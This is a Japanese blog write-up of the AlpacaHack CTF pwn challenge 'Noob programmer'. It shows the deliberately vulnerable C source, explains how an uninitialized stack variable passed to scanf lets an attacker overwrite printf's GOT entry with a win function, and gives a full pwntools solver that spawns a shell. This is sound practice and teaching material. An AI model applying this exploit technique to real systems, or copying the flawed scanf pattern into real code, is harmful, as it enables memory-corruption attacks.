Noob programmer Writeup

はじめに

Daily AlpacaHack」で2025/02/22に出題された「Noob programmer」のWriteupです。このブログでは初Writeupです。

毎日楽しく解かせていただいています、運営の皆様ありがとうございます。

Writeup

まず、ソースコードを見るとwin関数が存在し、これを呼び出せば良さそうです。

怪しい部分がないか探すとclangがscanfの際にポインタが渡されていないと型Warningを出していることに気づきます。 noob-programmer-warn

そのため、age変数に書き込みたいアドレスの値を入れてscanfに渡すことで、任意のアドレスに書き込みができます。 書き換えたいのはscanfの後に呼ばれるprintfのGOTで、これをwin関数のアドレスに書き換えることで、printfが呼ばれたときにwin関数が呼び出されるようにできそうです。

どうやってage変数に書き込みたいアドレスを入れるかですが、show_welcome関数のfgetsにはバッファオーバーフローなどの脆弱性は見つかりません。ただ、show_welcomeのスタック領域とask_room_numberのスタック領域は被っていて、age変数は初期化されていないため、name変数の入力次第でage変数に任意の値を入れることができます。

// gcc -o chal main.c -no-pie -fno-stack-protector

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void win() {
    execve("/bin/sh",NULL,NULL);
}

void ask_room_number() {
    long age;
    printf("Input your room number> ");
    scanf("%ld",age);
    printf("Ok! I'll visit your room!");
}

void show_welcome() {
    char name[0x20];
    printf("Input your name> ");
    fgets(name,sizeof(name),stdin);
    printf("Welcome! %s",name);
}

int main(void) {
    /* disable stdio buffering */
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    show_welcome();
    ask_room_number();

    return 0;
}

ソルバー

サブセクション
#!/usr/bin/env python3
import os
import re
import subprocess
from pwn import *

# ============================================================
# Configuration
# ============================================================
BINARY = "./chall"
LIBC = "./libc.so.6"
CONTAINER_NAME = "debug_container"

REMOTE_HOST = "34.170.146.252"
REMOTE_PORT = 17684

# Local Docker settings
LOCAL_PORT = 5000
GDB_PORT = 9090

context.binary = BINARY
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"

elf = ELF(BINARY)
if os.path.exists(LIBC):
    libc = ELF(LIBC)

localscript = f"""
b main
b ask_room_number
"""

gdbscript = r"""
b main
b ask_room_number
continue
"""

def conn(argv=[]):
    """
    Usage:
        python solve.py               # ローカルprocess
        python solve.py LOCAL         # docker composeのサービスに接続 (localhost:LOCAL_PORT)
        python solve.py REMOTE        # リモート接続
        python solve.py GDB           # ローカルprocess + gdb.debug
        python solve.py LOCALGDB      # docker内 gdbserver --attach
        python solve.py HOSTGDB       # ホストから直接 gdb attach (docker top でhost pid取得)
    """
    if args.REMOTE:
        return remote(REMOTE_HOST, REMOTE_PORT)
    elif args.LOCAL:
        return remote("localhost", LOCAL_PORT)
    elif args.GDB:
        return gdb.debug([BINARY] + argv, gdbscript=gdbscript)
    else:
        return process([BINARY] + argv)

# ============================================================
# Helpers
# ============================================================
def sh(cmd: list[str], check=True) -> str:
    p = subprocess.run(cmd, capture_output=True, text=True)
    if check and p.returncode != 0:
        raise RuntimeError(
            f"Command failed ({p.returncode}): {' '.join(cmd)}\n"
            f"stdout:\n{p.stdout}\n"
            f"stderr:\n{p.stderr}\n"
        )
    return p.stdout


def get_host_pid_by_container_pid(container: str, pid_in_container: str) -> int:
    init_host_pid = get_container_pid(container)
    # /proc/<init>/root/proc/<pid>/status の 1行目 "Pid:" がホストPID
    status = sh(["cat", f"/proc/{init_host_pid}/root/proc/{pid_in_container}/status"], check=True)
    for line in status.splitlines():
        if line.startswith("Pid:"):
            return int(line.split()[1])
    raise RuntimeError("failed to read host pid from status")

def get_host_pid_of_chall(container: str) -> int:
    pid_in = sh(["docker", "exec", container, "pidof", "chall"], check=True).strip().split()
    if not pid_in:
        raise RuntimeError("chall not found in container (no active connection yet?)")
    return get_host_pid_by_container_pid(container, pid_in[0])


# ============================================================
# GDB Attach
# ============================================================
def attach_gdbserver_in_container(io):
    """
    docker内 gdbserver :GDB_PORT --attach <container-pid> で attach
    (あなたの元の実装を、少し簡潔化したもの)
    """
    if args.REMOTE:
        log.warning("Cannot attach GDB in REMOTE mode")
        return

    # gdbserver kill
    log.info("Killing existing gdbserver in container (if any)...")
    subprocess.run(["docker", "exec", "-u", "root", CONTAINER_NAME, "pkill", "-9", "gdbserver"],
                   capture_output=True, text=True)
    sleep(0.3)

    # container内PID(これは“コンテナPID”)
    pid_out = sh(["docker", "exec", CONTAINER_NAME, "pidof", "chall"], check=True).strip()
    if not pid_out:
        raise RuntimeError("chall not found in container (pidof empty)")
    chall_pid = pid_out.split()[0]
    log.info(f"chall PID in container namespace: {chall_pid}")

    # gdbserver 起動
    log.info(f"Starting gdbserver in container: :{GDB_PORT} --attach {chall_pid}")
    p = subprocess.Popen(
        ["docker", "exec", "-u", "root", CONTAINER_NAME, "gdbserver",
         f":{GDB_PORT}", "--attach", chall_pid],
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True
    )

    # 起動待ち(雑に "Listening on port" を待つ)
    ready = False
    buf = []
    for _ in range(80):
        line = p.stdout.readline() if p.stdout else ""
        if line:
            line = line.strip()
            buf.append(line)
            if "Listening on port" in line:
                ready = True
                break
        sleep(0.05)

    if not ready:
        raise RuntimeError("gdbserver did not become ready.\n" + "\n".join(buf[-30:]))

    full = localscript + "\n" + gdbscript
    log.success("gdbserver ready, attaching gdb...")
    gdb.attach(("localhost", GDB_PORT), exe=BINARY, gdbscript=full)
    pause()

def attach_host_gdb(io):
    """
    ホストから“直接”gdb attachする版(今回追加したい部分)
    - docker top でホストPIDを取る(重要!)
    - そのPIDへ gdb.attach(pid, ...)
    """
    if args.REMOTE:
        log.warning("Cannot attach GDB in REMOTE mode")
        return

    # ここが肝:ホストPIDを docker top で取る
    host_pid = get_host_pid_in_container(CONTAINER_NAME, comm_regex=r"chall")
    log.info(f"Host PID for target in container: {host_pid}")

    full = localscript + "\n" + gdbscript
    log.success("Attaching host gdb directly to container process...")
    # pwntools は pid(int) でも attach できる
    gdb.attach(host_pid, exe=BINARY, gdbscript=full)
    pause()

def GDB(io):
    """
    優先順:
      HOSTGDB  -> ホストから直接 attach(あなたが言ってた超有用テク)
      LOCALGDB -> gdbserver attach(従来)
      (else)   -> ローカルプロセス attach
    """
    if args.HOSTGDB:
        attach_host_gdb(io)
        return

    if args.LOCALGDB or (args.LOCAL and args.GDBSERVER):
        attach_gdbserver_in_container(io)
        return

    if not args.GDB and not args.REMOTE:
        # ローカルプロセスなら普通に attach
        gdb.attach(io, gdbscript=gdbscript)
        pause()


def exploit():
    io = conn()
    # GDB(io)
    win_addr = elf.symbols["win"]
    ask_room_number_addr = elf.symbols["ask_room_number"]
    show_welcome_addr = elf.symbols["show_welcome"]
    printf_got = elf.got["printf"]
    payload = b"A"*(32-8) +  p64(printf_got)[:7]
    io.sendlineafter(b"name> ",payload,timeout=0.1)
    io.sendlineafter(b"number> ",f"{str(win_addr)}".encode(),timeout=0.1)
    io.interactive()
if __name__ == "__main__":
    exploit()


ハマったところ

printfのGOTを上書きするためにどこかにprintfのアドレスを入れる必要があったので、スタックレイアウトを考えるのが面倒くさいなーと思い、以下のコードを書いたところ、scanfのrsiにはprintfのGOTのアドレスが入っていたのですが、GOTのアドレスを上書きすることができませんでした。

payload =  p64(printf_got)*4 # 32bytes
io.sendlineafter(b"name> ",payload,timeout=0.1)

GDBの使い方が下手でなかなか気づかなかったのですが、fgetsはsize-1 = 31バイトしか読み込まないため、payloadの最後の1バイトがask_room_numberのscanfに渡されていて、結果的にscanfが動いていない状態になっていました。